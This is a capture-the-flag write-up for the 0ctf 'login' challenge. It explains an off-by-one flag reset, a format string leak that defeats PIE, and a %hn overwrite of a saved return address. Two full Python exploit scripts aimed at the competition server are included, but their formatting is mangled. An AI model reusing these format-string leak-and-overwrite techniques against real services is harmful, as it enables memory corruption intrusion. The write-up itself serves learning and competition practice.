The second pwnable I solved for 0ctf on behalf of CTF-Team VulnHub! This one contained My Favorite Vulnerability, guess which one?
login was a 64-bit ELF. Quickly checking what I was up against with gdb-peda:
123456
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Oops. This looks like fun! The description said to login as guest, and login as root. Together with the output of strings, this allowed me to bypass the first login:
12345678910
Login: guest
Password: guest123== 0CTF Login System==1. Show Profile
2. Login as User
3. Logout=======================Your choice: 1
Username: guest
Level: Guest
Now, we’re presented with three choices. With 2, we can change our username and view it with 1. However, this was not vulnerable to overflows or format string vulnerabilities. I dug into the menu system, looking for hidden things, and indeed:
So we need to bypass this secret menu and make sure that the flag is set to 0x00. As I said, rax points to our input, and the flag comes 256 bytes after that. It starts out as 1 and we need to make it zero… we’re looking for an off-by-one! This is present in the input username function, allowing the reset of the flag and entering the secret login menu:
12345678910111213141516171819202122232425
Login: guest
Password: guest123== 0CTF Login System==1. Show Profile
2. Login as User
3. Logout=======================Your choice: 2
Enter your new username:
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Done.
== 0CTF Login System==1. Show Profile
2. Login as User
3. Logout=======================Your choice: 4
Login: root
Password: toor
root login failed.
1 chance remaining.
Login: %llp
Password: bleh
0x7f13e2689490 login failed.
Threat detected. System shutdown.
I won’t show the disassembly, but just describe what happens. Locally, the binary takes the md5 of our supplied password, but compares it to 0ops{secret_md5}. If it matches, it calls a function to dump the flag. I figured the remote binary would contain the real md5, so I needed a way to read from the process remotely. The vulnerability to do so was found soon enough, it’s a format string vulnerability. We get two chances. I used the first to leak a stack address and an address of the binary (because of PIE, it’s loaded at a different address each time). The second printf call is then used to leak the md5 to which our supplied password is compared.
Easy, right? Wrong. The remote binary returned the same string, 0ops{secret_md5}. Obviously, I had to find another way to break this binary.
The Nitty Gritty
I tried overwriting a GOT pointer with the format string vulnerability, but failed: the GOT section was marked read-only! I looked for other ways to gain control of execution or making the memcmp succeed, but could only come up with one thing: overwriting the saved return address of the second printf call.
I found a nice, stable stack pointer that I could leak, calculated the offset to the location of the saved return address and plugged it in a poc script. Locally, it gave me the flag! I quickly tried it remotely, but it failed miserably. Turns out the layout of the stack was different; the leaked stack pointer was at a different location. Furthermore, the offset from other leaked stack addresses to the saved return address of the second printf was different. Back to the drawing board?
Some luck involved
I spent some time trying to locate other stack addresses that I could leak and gave me a nice, stable way to calculate the location of the saved return address. I had a way to leak the binary address, meaning I could calculate the exact return address. I then started brute-forcing stack pointers and using the second printf to dump the memory from the stack. Using this, I was looking for the correct return address. Because I was fed up with it and it was late, I had forgotten to remove a certain constant from the poc that I used locally.
fromsocketimport*importstruct,telnetlib,re,sysdefreadtil(delim):buf=b''whilenoteinbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defq(x):returnstruct.pack('<Q',x)defpwn():globalss=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 6666))s.connect(('202.112.26.107',10910))raw_input()readtil('Login: ')sendln('guest')readtil('Password: ')sendln('guest123')readtil('choice: ')sendln('2')readtil('username:')sendln("A"*256)# overflow userflagreadtil('choice: ')sendln('4')# secret login menu### first format string vuln to read stack addrreadtil('Login: ')# leak both binary address and stack addresssendln('%1$lp-%'+sys.argv[1]+'$lp')readtil('Password: ')sendln('bleh')data=readtil('login failed.')m=re.findall(r'([a-f0-9]{5,})',data)# find stack addr:stack_addr=int(m[1],16)base_addr=int(m[0],16)-0x1490print"[+] Leaked address of base: {}".format(hex(base_addr))print"[+] Leaked address of stack: {}".format(hex(stack_addr))readtil('Login: ')sendln('AAAAAAABBBC%10$s'+q(stack_addr-504))# this offset of 504 was found locally and seems to be correct for remote, tooreadtil('Password: ')sendln('bleh')data=s.recv(1000)printdataprinthex(struct.unpack('<Q',data[len('AAAAAAABBBC'):len('AAAAAAABBBC')+6]+b"\x00\x00")[0])print"you're looking for {}".format(hex(base_addr+0x120c))# check if the stack location contains the right return addressif(struct.unpack('<Q',data[len('AAAAAAABBBC'):len('AAAAAAABBBC')+6]+b"\x00\x00")[0])==(base_addr+0x120c):print"Found at {}".format(sys.argv[1])raw_input()t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
Note: the exact layout of the format string is chosen such that the stack address is overlapping with an actuall address on the stack. Because we can’t send null-bytes, if we overwrite something else, the pointer would be mangled:
Locally, I identified both the arguments 15 and 41 (in the first format string vuln) to contain the right stack address. Remotely, these contained something different. However, I simply increased the number until I hit 43: this address, combined with the offset, contained the return address! I definitely lucked out after banging my head against the challenge for a few hours.
Hitting the jackpot
12345678910
$ python poc.py 43
[+] Leaked address of base: 0x7f48589d5000
[+] Leaked address of stack: 0x7fffb65656b0
[+] Offset format string with 24497 bytes
AAAAAAABBBC
b.XH..TV...
0x7f48589d620c
you're looking for 0x7f48589d620c
Found at 43
Armed with the correct stack address, I could now trivially overwrite two bytes of the saved return address so that it points to the function that read the flag and dumps it over the socket:
fromsocketimport*importstruct,telnetlib,re,sysdefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defq(x):returnstruct.pack('<Q',x)defpwn():globalss=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 6666))s.connect(('202.112.26.107',10910))#raw_input()readtil('Login: ')sendln('guest')readtil('Password: ')sendln('guest123')readtil('choice: ')sendln('2')readtil('username:')sendln("A"*256)# overflow userflagreadtil('choice: ')sendln('4')# secret login menu### first string format vuln to read stack addrreadtil('Login: ')# 43 found by lucky bruteforcing in combination with the 504 below. locally, it's at 15 and 41sendln('%1$lp-%43$lp')readtil('Password: ')sendln('bleh')data=readtil('login failed.')m=re.findall(r'([a-f0-9]{5,})',data)# find stack addr:stack_addr=int(m[1],16)base_addr=int(m[0],16)-0x1490# base_addr was not necesssary in the final exploit, but was # instrumental in finding the right offset!print"[+] Leaked address of base: {}".format(hex(base_addr))print"[+] Leaked address of stack: {}".format(hex(stack_addr))readtil('Login: ')# we need to return to base_addr + 0xfb3, because that function # is designed to read the flag & spit it over the socketprint_offset=(base_addr&0xffff)+0xfb3-2print"[+] Offset format string with {} bytes".format(print_offset)# send format string to overwrite saved return addr of sendln('%'+"%05d"%print_offset+'c___%10$hn'+q(stack_addr-504))# should point to ret_addr at stackreadtil('Password: ')sendln('bleh')t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
Yes, it looks horrible, but it did drop the flag, scoring us another 300 points.